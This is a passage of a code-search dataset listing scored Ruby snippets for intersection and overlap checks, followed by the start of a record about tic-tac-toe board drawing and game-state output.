"docid": "8195074d851efae0c0a072ac2cc22841",
"score": "0.5576468",
"text": "def intersection other\n postgis_calculate(:intersection, [self, other])\n end",
"title": ""
},
{
"docid": "5d09ead5dab373747b09ca1f6d8436a6",
"score": "0.5551856",
"text": "def intersect(other)\n case other\n when Range\n intersect_range(other)\n when IntervalSet\n intersect_interval_set(other)\n else\n IntervalSet.unexpected_object(other)\n end\n end",
"title": ""
},
{
"docid": "5182e07266415e9b03c443e3ecf73869",
"score": "0.5549548",
"text": "def __intersect__(criterion, operator)\n with_strategy(:__intersect__, criterion, operator)\n end",
"title": ""
},
{
"docid": "5cfe35d4b1c1342e018ea2f4d332a226",
"score": "0.55471605",
"text": "def __intersect__(criterion, operator)\n with_strategy(:__intersect__, criterion, operator)\n end",
"title": ""
},
{
"docid": "b92f7716b4b8887f751b68d5076ac69c",
"score": "0.55459124",
"text": "def intersect(select)\n add_set_op('intersect', select)\n end",
"title": ""
},
{
"docid": "69db490dab3abcf99851b4183a054922",
"score": "0.5508176",
"text": "def metadata_intersects?(arg)\n \n # if it's empty, good enough. \n return true unless arg\n \n intersect_keys = self.metadata.keys & arg.metadata.keys\n # Take out keys who's values are blank. If one is blank but not\n # both, we can still consider that a match. \n intersect_keys.delete_if{ |k| self.metadata[k].blank? || arg.metadata[k].blank? }\n \n self_subset = self.metadata.reject{ |k, v| ! intersect_keys.include?(k) }\n arg_subset = arg.metadata.reject{ |k, v| ! intersect_keys.include?(k) }\n\n return self_subset == arg_subset \n end",
"title": ""
},
{
"docid": "1ed29ded471d6da5e7ec05f2ac8e2609",
"score": "0.5472178",
"text": "def rec_intersection(rect1, rect2)\nend",
"title": ""
},
{
"docid": "89125b3717a4bd37ad2967b90bb623a2",
"score": "0.5464762",
"text": "def intersect other\n other.intersectLineSegment(self)\n end",
"title": ""
},
{
"docid": "b684d272028423a218d6e89b0b37e6c3",
"score": "0.54514134",
"text": "def box_intersect(b0, b1)\n p0 = [b0[0], b0[1]]\n p1 = [b0[0], b0[3]]\n p2 = [b0[2], b0[1]]\n p3 = [b0[2], b0[3]]\n\n return point_in_box(p0, b1) || point_in_box(p1, b1) || point_in_box(p2, b1) || point_in_box(p3, b1)\n end",
"title": ""
},
{
"docid": "981372f2c8e22b5762af3f9b81e9479a",
"score": "0.54501694",
"text": "def intersection other_cuboid\n return false unless self.intersects? other_cuboid\n Cuboid.new [self.left, other_cuboid.left].max,\n [self.bottom, other_cuboid.bottom].max,\n [self.back, other_cuboid.back].max,\n [self.right, other_cuboid.right].min,\n [self.top, other_cuboid.top].min,\n [self.front, other_cuboid.front].min\n end",
"title": ""
},
{
"docid": "e0b2c7ccdf0dac98f52a5f035866ebf6",
"score": "0.54252046",
"text": "def supports_intersect_except?\n true\n end",
"title": ""
},
{
"docid": "e0b2c7ccdf0dac98f52a5f035866ebf6",
"score": "0.54252046",
"text": "def supports_intersect_except?\n true\n end",
"title": ""
},
{
"docid": "ac42a1eb90acaa7add3f5aaca1779d87",
"score": "0.54214495",
"text": "def supports_intersect_except_all?\n false\n end",
"title": ""
},
{
"docid": "ac42a1eb90acaa7add3f5aaca1779d87",
"score": "0.54214495",
"text": "def supports_intersect_except_all?\n false\n end",
"title": ""
},
{
"docid": "ac42a1eb90acaa7add3f5aaca1779d87",
"score": "0.54214495",
"text": "def supports_intersect_except_all?\n false\n end",
"title": ""
},
{
"docid": "ac42a1eb90acaa7add3f5aaca1779d87",
"score": "0.54214495",
"text": "def supports_intersect_except_all?\n false\n end",
"title": ""
},
{
"docid": "650f4ad6652dd5dbae71bc1e320d492e",
"score": "0.54161525",
"text": "def intersects?(other)\n self_min_point = self.vertices.first\n self_max_point = self.vertices.last\n\n # detect if cuboid and other cuboid share a common point (integer values only)\n (self_min_point[:x]..self_max_point[:x]).each do |x_point|\n (self_min_point[:y]..self_max_point[:y]).each do |y_point|\n (self_min_point[:z]..self_max_point[:z]).each do |z_point|\n return true if other.point_inside?(x_point, y_point, z_point)\n end\n end\n end\n\n return false\n end",
"title": ""
},
{
"docid": "4c2d4a3bd3830a404a71ab415f3b2292",
"score": "0.540984",
"text": "def intersection(other)\n case other\n when Range\n intersection_range(other)\n when IntervalSet\n intersection_interval_set(other)\n else\n IntervalSet.unexpected_object(other)\n end\n end",
"title": ""
},
{
"docid": "06fd912c8753853c6e93308a9fc40a68",
"score": "0.5387373",
"text": "def intersect(bfilter)\n raise ArgumentError unless self === bfilter\n self.bv &= bfilter.bv\n self\n end",
"title": ""
},
{
"docid": "73aff1fc4d97d867ec555aaa7e1ff5cc",
"score": "0.53781414",
"text": "def intersect(x,y)\n x & y\n end",
"title": ""
},
{
"docid": "2e19e7d005177288d5c43f83881ed00b",
"score": "0.5356731",
"text": "def intersect(other, opts=OPTS)\n raise(InvalidOperation, \"INTERSECT ALL not supported\") if opts[:all]\n raise(InvalidOperation, \"The :from_self=>false option to intersect is not supported\") if opts[:from_self] == false\n cols = columns\n from_self.\n select_group(*cols).\n union(other.from_self.select_group(*other.columns), all: true).\n select_group(*cols).\n having{count{}.* > 1}.\n from_self(opts)\n end",
"title": ""
},
{
"docid": "8a418ab32455843f7f636491de897cf3",
"score": "0.53566587",
"text": "def intersects?(other)\n # Any of the following conditions means the cuboids DO NOT intersect, so we\n # negate the entire thing. This will return TRUE where the two cuboids intersect\n # each other and FALSE otherwise.\n !(\n self.vertices[0][0] >= other.vertices[7][0] ||\n self.vertices[0][1] >= other.vertices[7][1] ||\n self.vertices[0][2] >= other.vertices[7][2] ||\n self.vertices[7][0] <= other.vertices[0][0] ||\n self.vertices[7][1] <= other.vertices[0][1] ||\n self.vertices[7][2] <= other.vertices[0][2]\n )\n end",
"title": ""
},
{
"docid": "761e08900e72b01e870f938acae540d1",
"score": "0.5336896",
"text": "def intersection(array1, array2)\n raise NotImplementedError\nend",
"title": ""
},
{
"docid": "796f0aebb01daa30858663a369a18790",
"score": "0.5331446",
"text": "def intersected_data\n puts \"intersected_data #{command} #{source_key}\"\n normalized_data.send(command) do |id|\n Minuteman.redis.getbit(source_key, id) == 1\n end\n end",
"title": ""
},
{
"docid": "9c49afea9272e975f781ed2a6d9cb97c",
"score": "0.5325534",
"text": "def intersection(group)\n\tpop = group.length\n\tputs \"Calculating intersection among \" + pop.to_s + \" members\"\n\tdict = group.join().split(\"\").uniq().join()\n\tputs \"Dictionary: \" + dict.to_s\n\tblob = group.join()\n\tputs \"Blob: \" + blob.to_s\n\tresult = []\n\tdict.split(\"\").each do |char|\n\t\tresult.push(char) if blob.count(char) == pop\n\tend\n\tputs \"Intersection: \" + result.join().to_s\n\treturn result.join()\nend",
"title": ""
},
{
"docid": "1930c5c519a5028dff2941be95e416b7",
"score": "0.53079873",
"text": "def intersection(keys)\n intersection_recursive(self, keys)\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "28fbcd7af66008e303d04aad70b63ec4",
"score": "0.53071654",
"text": "def supports_intersect_except?\n false\n end",
"title": ""
},
{
"docid": "97ee9a77cacdb49ff7afd4d7d6536a36",
"score": "0.53026813",
"text": "def intersects? other\n postgis_calculate(:intersects, [self, other])\n end",
"title": ""
},
{
"docid": "68726d10ab98d23254277926acc83c25",
"score": "0.5298207",
"text": "def intersects?(other)\n overlap?(@x, @length, other.x, other.length) &&\n overlap?(@y, @width, other.y, other.width) &&\n overlap?(@z, @height, other.z, other.height)\n end",
"title": ""
},
{
"docid": "7f0d2d257e69c52e747bce8a5945efae",
"score": "0.5283368",
"text": "def intersectNoPoints np # receive double dispatch\n np # could also have NoPoints.new here instead of in each sub class\n end",
"title": ""
},
{
"docid": "cd84bcc4cd141aebe46c1010e168df67",
"score": "0.52802974",
"text": "def intersection(other)\n Rangops::Set.intersection(self, other)\n end",
"title": ""
},
{
"docid": "1cdc69daebeabfa027ac51e8ba44b146",
"score": "0.5271478",
"text": "def intersect(ray)\n nil\n end",
"title": ""
},
{
"docid": "555da97f867cdf303bb8936b04806bc3",
"score": "0.52689755",
"text": "def intersect(dataset, all = false)\n clone(:intersect => dataset, :intersect_all => all)\n end",
"title": ""
},
{
"docid": "5c31305fe291a098b703fd044687eb3a",
"score": "0.52639407",
"text": "def intersect?(other)\n if other.is_a?(Ray)\n other.intersect?(self)\n elsif other.is_a?(BoundingBox)\n (@min.x <= other.max.x && @max.x >= other.min.x) &&\n (@min.y <= other.max.y && @max.y >= other.min.y) &&\n (@min.z <= other.max.z && @max.z >= other.min.z)\n else\n raise \"Unknown collider: #{other.class}\"\n end\n end",
"title": ""
},
{
"docid": "406f349a3220cc2e2df7b8a92f70f4d9",
"score": "0.5253501",
"text": "def intersects?(other)\n c1 = vertices\n c2 = other.vertices\n # We only have to measure intersections on each axis once, because an axis\n # is not an edge (there are only 3 axes)\n # X\n x1 = Line.new(c1[0].x, c1[1].x)\n x2 = Line.new(c2[0].x, c2[1].x)\n x = x1.intersect? x2\n # Z\n z1 = Line.new(c1[1].z, c1[2].z)\n z2 = Line.new(c2[1].z, c2[2].z)\n z = z1.intersect? z2\n # Y\n y1 = Line.new(c1[2].y, c1[7].y)\n y2 = Line.new(c2[2].y, c2[7].y)\n y = y1.intersect? y2\n\n (x && y && z)\n end",
"title": ""
},
{
"docid": "b8ccc8d4afe2e15d25e7123aebc88939",
"score": "0.5253475",
"text": "def intersect_plane?(plane)\n not parallel_to_plane? plane\n end",
"title": ""
},
{
"docid": "fb3071d6cb91506df884794820e4041f",
"score": "0.5252276",
"text": "def intersection(other)\n return nil unless intersects?(other)\n\n Solid.new(nil,\n ([@x.min, other.x.min].max..[@x.max, other.x.max].min),\n ([@y.min, other.y.min].max..[@y.max, other.y.max].min),\n ([@z.min, other.z.min].max..[@z.max, other.z.max].min))\n end",
"title": ""
},
{
"docid": "26ee1fb13d8eaa1f4b95812d17383807",
"score": "0.5243292",
"text": "def intersect(cube)\n return nil unless cube # No cube: intersection is empty.\n cbits = \"-\" * self.width\n # Cubes intersects if they do not include any 0,1 or 1,0 pattern.\n @bits.each_byte.with_index do |bit,i|\n # if bit == \"-\" then\n if bit == 45 then\n # cbits[i] = cube[i]\n cbits.setbyte(i,cube.getbyte(i))\n # elsif cube[i] == \"-\" then\n elsif cube.getbyte(i) == 45 then\n # cbits[i] = bit\n cbits.setbyte(i,bit)\n elsif bit != cube.getbyte(i) then\n # No intersection.\n return nil\n else\n # cbits[i] = bit\n cbits.setbyte(i,bit)\n end\n end\n return Cube.new(cbits,false) # No need to duplicate cbits.\n end",
"title": ""
},
{
"docid": "ff110b1ab2c9fbb9d8aea713969b11c6",
"score": "0.52387506",
"text": "def intersects?(other)\n other_cuboid = other.is_a?(Cuboid) ? other : raise(\"not a Cuboid!\")\n other_cuboid.vertices.each do |vertice|\n return true if self.contains?(vertice)\n end\n return false\n end",
"title": ""
},
{
"docid": "37d1d9e138fd71fff270b6b10d928e50",
"score": "0.52148956",
"text": "def intersects?(other)\n ((x_coords.max >= other.x_coords.min && x_coords.min <= other.x_coords.max) && \n (y_coords.max >= other.y_coords.min && y_coords.min <= other.y_coords.max) && \n (z_coords.max >= other.z_coords.min && z_coords.min <= other.z_coords.max))\n end",
"title": ""
},
{
"docid": "fb613adc34aa85f7d7a4ce761324020b",
"score": "0.52085954",
"text": "def test_intersects()\n results = Array.new()\n \n # INTERSECTS [0][1][2][3][4][5][6][7][8][9][10][11]\n results[0] = [1, 0, 0, 0, 0, 1, X, 0, 0, 0, 0, 0]\n results[1] = [0, 1, 1, 1, 0, 0, X, 1, 1, 1, 1, 0]\n results[2] = [0, 1, 1, 1, 0, 0, X, 0, 0, 0, 0, 0]\n results[3] = [0, 1, 1, 1, 0, 0, X, 1, 1, 1, 1, 0]\n results[4] = [0, 0, 0, 0, 1, 1, X, 0, 0, 0, 0, 0]\n results[5] = [1, 0, 0, 0, 1, 1, X, 0, 0, 0, 0, 0]\n results[6] = [X, X, X, X, X, X, X, X, X, 1, 1, X]\n results[7] = [0, 1, 0, 1, 0, 0, X, 1, 1, 1, 1, 0]\n results[8] = [0, 1, 0, 1, 0, 0, X, 1, 1, 1, 1, 0]\n results[9] = [0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0]\n results[10] = [0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0]\n results[11] = [0, 0, 0, 0, 0, 0, X, 0, 0, 0, 0, 1]\n \n self.run_relational_operation(\"INTERSECTS\", results) do |geom1, geom2|\n geom1.intersects?(geom2)\n end\n end",
"title": ""
},
{
"docid": "879350ae35367af808d92e421e4ff042",
"score": "0.5203843",
"text": "def intersects(what)\n set_function_and_argument(:'geo.intersects', what)\n end",
"title": ""
},
{
"docid": "372268a918aaed7cc55d69ed4d44c7c7",
"score": "0.5183158",
"text": "def intersects?(other_cuboid)\n\n other_cuboid.vertices.each do |vertex|\n\t \t#if any are inside the cube they are intersecting\n return true if interior?(vertex)\n end\n\n #if you share one vertex\n if (other_cuboid.vertices & self.vertices).length > 0\n \t#check to see if the other cuboid is inside your boundaries\n\t\t\tself.vertices.each do |vertex|\n\t\t\t\treturn true if interior?(vertex)\n\t\t\tend \n end\n \t\n \t\treturn false\n end",
"title": ""
},
{
"docid": "5696f35a4e19ed8f9fce967d81917412",
"score": "0.51824784",
"text": "def local_intersect(local_ray)\n CallStatistics.add(:bounds_local_intersect)\n xtmin, xtmax = *check_axis(min.x, max.x, local_ray.origin.x, local_ray.direction.x)\n ytmin, ytmax = *check_axis(min.y, max.y, local_ray.origin.y, local_ray.direction.y)\n ztmin, ztmax = *check_axis(min.z, max.z, local_ray.origin.z, local_ray.direction.z)\n\n tmin = [xtmin, ytmin, ztmin].max\n tmax = [xtmax, ytmax, ztmax].min\n\n if tmax > tmin\n CallStatistics.add(:bounds_local_intersect_hit)\n Intersections.new(Intersection.new(tmin, self),\n Intersection.new(tmax, self))\n else\n CallStatistics.add(:bounds_local_intersect_miss)\n Intersections.empty\n end\n end",
"title": ""
},
{
"docid": "d60db07bc40c2d110dc37a8fab0e3a95",
"score": "0.5176498",
"text": "def intersects?(cube_or_cover)\n if cube_or_cover.is_a?(Cover) then\n # Cover case: check intersect with each cube of +cube_or_cover+.\n #\n # NOTE: !! is for converting the result to boolean.\n return !!( cube_or_cover.each_cube.find do |cube|\n self.intersects?(cube)\n end ) \n else\n # Cube case.\n #\n # NOTE: !! is for converting the result to boolean.\n return !!( @cubes.find do |cube|\n cube.intersects?(cube_or_cover)\n end ) \n end\n end",
"title": ""
},
{
"docid": "e3426eb68e2c1c89c752ee2037e25e68",
"score": "0.51729393",
"text": "def can_collide? obj1, obj2\n [email protected]? [obj1, obj2]\n end",
"title": ""
},
{
"docid": "e8766c84b0a03982f7c52fbca8ce11d9",
"score": "0.51701933",
"text": "def intersects?\n not disjoint?\n end",
"title": ""
},
{
"docid": "1518f53f0adc09a1b0436537486d6cee",
"score": "0.51676214",
"text": "def intersect?(other)\n Rangops::Set.intersect(self, other)\n end",
"title": ""
},
{
"docid": "39c05ca7e6625b9baeb7cac694926aff",
"score": "0.5131766",
"text": "def doIntersection(available_set_list)\r\n\t\tselected_sets = getTheTwoSets(available_set_list) #get the two sets from the user\r\n\r\n\t\t#call the Intersection\r\n\t\tset1INTERSECTIONset2 = selected_sets[0].intersection(selected_sets[1])\r\n\t\tset1INTERSECTIONset2.display()\r\n\t\tmainmenu()\r\n\tend",
"title": ""
},
{
"docid": "0dbde4bd55451f125f49df05ad52418a",
"score": "0.5131153",
"text": "def intersect(*other_mux_or_ios_or_arrays)\n ios, non_fileno = self.inputs.partition {|inpt| inpt.respond_to?(:fileno) }\n ios_fn = ios.map(&:fileno)\n \n non_fileno.map!(&:object_id)\n \n ary = other_mux_or_ios_or_arrays.respond_to?(:inputs) ? other_mux_or_ios_or_arrays.inputs : other_mux_or_ios_or_arrays\n ary.select do |inp|\n if inp.respond_to? :fileno\n ios_fn.include? inp.fileno\n else\n non_fileno.include? inp.object_id #default compares by #hash\n end\n end\n end",
"title": ""
},
{
"docid": "9a5122fa309d3d8f00a0b8b9ffe7fb55",
"score": "0.5118844",
"text": "def start_intersect(a, b)\n OperationThread.new(nil, EMPTY, a, b, EMPTY, EMPTY, false)\n end",
"title": ""
},
{
"docid": "7f0bcf2f494599377cdc6b69914afc01",
"score": "0.5112179",
"text": "def intersection(other)\n Operation.new(:and, dup, other.dup).minimize\n end",
"title": ""
},
{
"docid": "7fbd6fa5df57199250c1f378b40d0c68",
"score": "0.51087475",
"text": "def intersects?(other)\n cube_1_all_coords = [x_axis_coords, y_axis_coords, z_axis_coords]\n cube_2_all_coords = [other.x_axis_coords, other.y_axis_coords, other.z_axis_coords]\n\n cube_1_all_coords.each_with_index do |coord_1, idx|\n coord_2 = cube_2_all_coords[idx]\n\n if !is_between?(coord_1, coord_2)\n return false\n end\n end\n\n true\n end",
"title": ""
},
{
"docid": "d6fe8b0715419283e1ee11b7404e2bd9",
"score": "0.51031315",
"text": "def intersects?(other)\n \tif [@x, @y, @z] == [other.x, other.y, other.z]\n \t\treturn true\n \telse \n \t\treturn sides_overlap?(other)\n \tend\n end",
"title": ""
},
{
"docid": "22af6f981f150240f5f17ccc483a9a33",
"score": "0.51004714",
"text": "def intersect?(other)\n return 2 unless (@m == other.m)# intersect\n return 2 if not (@p1.x == other.p1.x and @p2.x == other.p2.x)\n return (has_point?(other.p1) or has_point?(other.p2)) ? 1 : 0\n end",
"title": ""
},
{
"docid": "1da56dab3052e3366121905ee605ba65",
"score": "0.5077108",
"text": "def intersect?(b)\n not(b.left > right or b.right < left or b.top > bottom or b.bottom < top)\n end",
"title": ""
},
{
"docid": "451036a6455c95237372d87a4b6d1fc4",
"score": "0.50712234",
"text": "def intersect?(other)\n case other\n when Range\n intersect_range?(other)\n when IntervalSet\n intersect_interval_set?(other)\n else\n IntervalSet.unexpected_object(other)\n end\n end",
"title": ""
}
] |
de7c8cbf19048088ca7f5245c512ab83
|
output: nil, 'X', 'O', or 'DRAW'
|
[
{
"docid": "3fc3df9f4d0406b7b6254ccfd5e77c8a",
"score": "0.0",
"text": "def winner?\n\t\t@winner\n\tend",
"title": ""
}
] |
[
{
"docid": "3d89374fe78a7d65c6d9d3c5f83a1947",
"score": "0.6511026",
"text": "def get_print_char x,y, leer = nil, one = 'X', two = 'O'\n\n #return \"@\" if @field[x][y].winner\n\n case @field[x][y].player\n when 1 then one\n when 2 then two\n else\n if leer.nil? then\n $keymap.invert[[x,y]].to_s\n else\n leer\n end\n end\n end",
"title": ""
},
{
"docid": "4fc4bf9dc0b9311c2f159078140b7116",
"score": "0.65104294",
"text": "def draw_blank\n puts \"[ o ] [ o ] [ o ] [ o ]\\n\\n\"\n end",
"title": ""
},
{
"docid": "10b177ef6bbbc91581229f74501f3ba2",
"score": "0.6387082",
"text": "def draw()\n\t\t# convert integer array to X and O\n\t\tplayer_moves = @gameplay_positions.map do |n|\n\t\t\tcase n\n\t\t\twhen 1\n\t\t\t \"X\"\n\t\t\twhen 2\n\t\t\t \"O\"\n\t\t\telse\n\t\t\t \" \"\n\t\t\tend\n\t\tend\n\n\t\tprintMap(player_moves)\n\t\t\n\tend",
"title": ""
},
{
"docid": "83c3b6cc3610d0e6d9b6e472b7a48236",
"score": "0.636097",
"text": "def draw\n result = true\n BOARD.each do |x|\n if x == \"X\" || x == \"O\"\n next\n elsif x == ' '\n result = false\n break\n end\n end\n result\nend",
"title": ""
},
{
"docid": "604338523959e6b4abf0de3f75b3c5be",
"score": "0.61861396",
"text": "def draw\n return if @type == Type[:EMPTY]\n\n @window.mvaddstr(@x, @y, @appearance)\n end",
"title": ""
},
{
"docid": "19fc4f134e9a50586bf058d908c50ce9",
"score": "0.61181086",
"text": "def stamp\n @output.write(\"#{ESC}o\")\n end",
"title": ""
},
{
"docid": "756ef6fb918dbaac1285f3d97e1966be",
"score": "0.610644",
"text": "def choose_symbol_for_player\n if @@players.count == 0\n return \"X\"\n else\n return \"O\"\n end\n end",
"title": ""
},
{
"docid": "97c1180b0939fb4ad618802f58e3e579",
"score": "0.60520476",
"text": "def computer_puts_O(b)\n position = empty_square(b).sample\n if block_winning_lines(b)\n b[position] = \"O\"\n elsif two_in_a_row(b, \"X\")\n b[position] = \"O\"\n else\n position = empty_square(b).sample\n b[position] = \"O\"\n end \nend",
"title": ""
},
{
"docid": "e863d363ac49988740dab912c280632d",
"score": "0.60099524",
"text": "def draw_cards(selected_cards, card_owner)\n system \"clear\"\n puts \"#{card_owner}'s Cards ...\"\n selected_cards.each do |selected_card|\n puts \"\\u250C\" + \"\\u2501\"+ \"\\u2501\"+ \"\\u2501\" + \"\\u2501\" + \"\\u2501\"+ \"\\u2511\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n if selected_card[0].to_s.size > 1\n puts \"\\u2502\" + \" \" + selected_card[0].to_s + \" \" + \"\\u2502\"\n else\n puts \"\\u2502\" + \" \" + selected_card[0].to_s + \" \" + \"\\u2502\"\n end\n case selected_card[1]\n when 'S'\n puts \"\\u2502 \\u2660 \\u2502\" \n when 'C'\n puts \"\\u2502 \\u2663 \\u2502\"\n when 'H'\n puts \"\\u2502 \\u2665 \\u2502\" \n when 'D'\n puts \"\\u2502 \\u2666 \\u2502\" \n end\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2514\" + \"\\u2501\"+ \"\\u2501\"+ \"\\u2501\" + \"\\u2501\" + \"\\u2501\"+ \"\\u251A\"\n end\nend",
"title": ""
},
{
"docid": "6d8740ba208c6a3ba2131c3e015853c4",
"score": "0.5917713",
"text": "def draw_card\n \"n\"\n end",
"title": ""
},
{
"docid": "4727b9225faef6f837e46fd711d32f77",
"score": "0.59056735",
"text": "def print_piece(value, place_position)\n #print value == 0 ? \"X\" : \"O\"\n #print value == 0 ? \"no \" : \"yes\"\n print value == 0 ? @zero_piece : @one_piece\n end",
"title": ""
},
{
"docid": "6e9ec54526dad9209731d8ac364b7b72",
"score": "0.590083",
"text": "def draw_edge\n print \"|\"\n end",
"title": ""
},
{
"docid": "3fc0f343c3e3defc21228fcecce97c52",
"score": "0.5886917",
"text": "def output\n temp_string = basic_output()\n if @polygon != nil\n temp_string = temp_string + \"$Polygon\\n\"\n temp_string = temp_string + \"$\\t#{@polygon.utype} = #{@polygon.commandName}\\n\"\n end\n if @zone != nil\n temp_string = temp_string + \"$Zone\\n\"\n temp_string = temp_string + \"$\\t#{@zone.utype} = #{@zone.commandName}\\n\"\n end\n return temp_string\n end",
"title": ""
},
{
"docid": "b5f2968d3f69cbe98cc63e2a25c8ecb3",
"score": "0.58765185",
"text": "def print o\n case o\n when \".\" then\n io.print pride o\n when \"E\", \"F\" then\n io.print \"#{ESC}41m#{ESC}37m#{o}#{NND}\"\n when \"S\" then\n io.print pride o\n else\n io.print o\n end\n end",
"title": ""
},
{
"docid": "761fddad1c142e6c8b2d3335b31e7e23",
"score": "0.58716184",
"text": "def draw?\n @board.all? { |row| row.all? { |value| value == 'X' || value == 'O' } }\n end",
"title": ""
},
{
"docid": "8e90a8d3f5c1b3f88cc01f7ae2ab6535",
"score": "0.5861067",
"text": "def write_char(c)\n if c == \"\\000\"\n # Return to original text\n c = \"\\\\\"\n end\n # If \\C[n]\n if c == \"\\001\"\n # Change text color\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n color = $1.to_i\n if color >= 0 and color <= 7\n self.contents.font.color = text_color(color)\n end\n # go to next text\n return\n end\n # If \\G\n if c == \"\\002\"\n # Make gold window\n if @gold_window == nil\n @gold_window = Window_Gold.new\n @gold_window.x = 560 - @gold_window.width\n if $game_temp.in_battle\n @gold_window.y = 192\n else\n @gold_window.y = self.y >= 128 ? 32 : 384\n end\n @gold_window.opacity = self.opacity\n @gold_window.back_opacity = self.back_opacity\n end\n # go to next text\n return\n end\n # If \\skip\n if c == \"\\003\"\n # toggle text skipping\n #$game_system.text_skip = !$game_system.text_skip\n # go to next text\n return\n end\n # If \\b\n if c == \"\\004\"\n # toggle bold\n self.contents.font.bold = !self.contents.font.bold\n # go to next text\n return\n end\n # If \\i\n if c == \"\\005\"\n # toggle italics\n self.contents.font.italic = !self.contents.font.italic\n # go to next text\n return\n end\n # If \\s\n if c == \"\\006\"\n # toggle shadow\n #$game_system.shadowed_text = !$game_system.shadowed_text\n # go to next text\n return\n end\n # If \\font\n if c == \"\\007\"\n # change font\n @text.sub!(/\\[(.*?)\\]/, \"\")\n font = $1.to_s\n @font = font\n if font == \"\"\n self.contents.font.name = Font.default_name\n else\n self.contents.font.name = font\n end\n # go to next text\n return\n end\n # If \\p[n]\n if c == \"\\010\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @pause_time = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\w[n]\n if c == \"\\011\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @wait = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\ws[n]\n if c == \"\\013\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n $game_system.write_speed = $1.to_i\n\n # go to next text\n return\n end \n # If \\oa[n]\n if c == \"\\014\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_armors[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\oi[n]\n if c == \"\\015\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_items[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\os[n]\n if c == \"\\016\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_skills[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n\n # go to next text\n return\n end\n \n # If \\ow[n]\n if c == \"\\017\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n index = $1.to_i\n @text.sub!(\" \", \"\")\n item = $data_weapons[index]\n # draw the icon\n icon = RPG::Cache.icon(item.icon_name)\n self.contents.blt(@x + 2, (@y * 32) + 4, icon, Rect.new(0, 0, 24, 24))\n @x += 24\n \n # go to next text\n return\n end\n \n # If \\tc\n if c == \"\\020\"\n # center justify\n @text_justification = CENTER\n get_x_value\n # go to next text\n return\n end\n \n # If \\tl\n if c == \"\\021\"\n # left justify\n @text_justification = LEFT\n get_x_value\n # go to next text\n return\n end\n \n # If \\tr\n if c == \"\\022\"\n # right justify\n @text_justification = RIGHT\n get_x_value\n # go to next text\n return\n end\n \n # If \\ignr\n if c == \"\\023\"\n # set ignore flage\n @ignore = true\n # go to next text\n return\n end\n \n # if \\c (hex color)\n if c == \"\\026\"\n # convert hex color to RGB\n @text.sub!(/\\[([0123456789abcdef]+)\\]/, \"\")\n hex_code = $1.to_s\n \n red = (\"0x\" + hex_code.slice(0..1)).hex\n blue = (\"0x\" + hex_code.slice(2..3)).hex\n green = (\"0x\" + hex_code.slice(4..5)).hex\n \n self.contents.font.color = Color.new(red, blue, green)\n return\n end\n \n # If new line text\n if c == \"\\n\"\n # Add 1 to y\n if !@ignore\n @y += 1\n end\n if @text != \"\"\n get_x_value\n end\n @ignore = false\n\n # go to next text\n return\n end\n if @ignore\n return\n end\n # Draw text\n line = self.contents.text_size(\"dj\").height\n if $game_system.shadowed_text\n old_color = self.contents.font.color.clone\n self.contents.font.color = $game_system.shadow_color\n self.contents.draw_text(6 + @x, line * @y + 2, 40, 32, c)\n self.contents.font.color = old_color\n end\n self.contents.draw_text(4 + @x, line * @y, 40, 32, c)\n # Add x to drawn text width\n @x += self.contents.text_size(c).width\n end",
"title": ""
},
{
"docid": "4180b7025287a0e6c10fba723985895a",
"score": "0.5855288",
"text": "def switch_player\n @letter == :X ? 'O' : 'X'\n end",
"title": ""
},
{
"docid": "8e9f2cd9b8122cadb514384850c81799",
"score": "0.5847901",
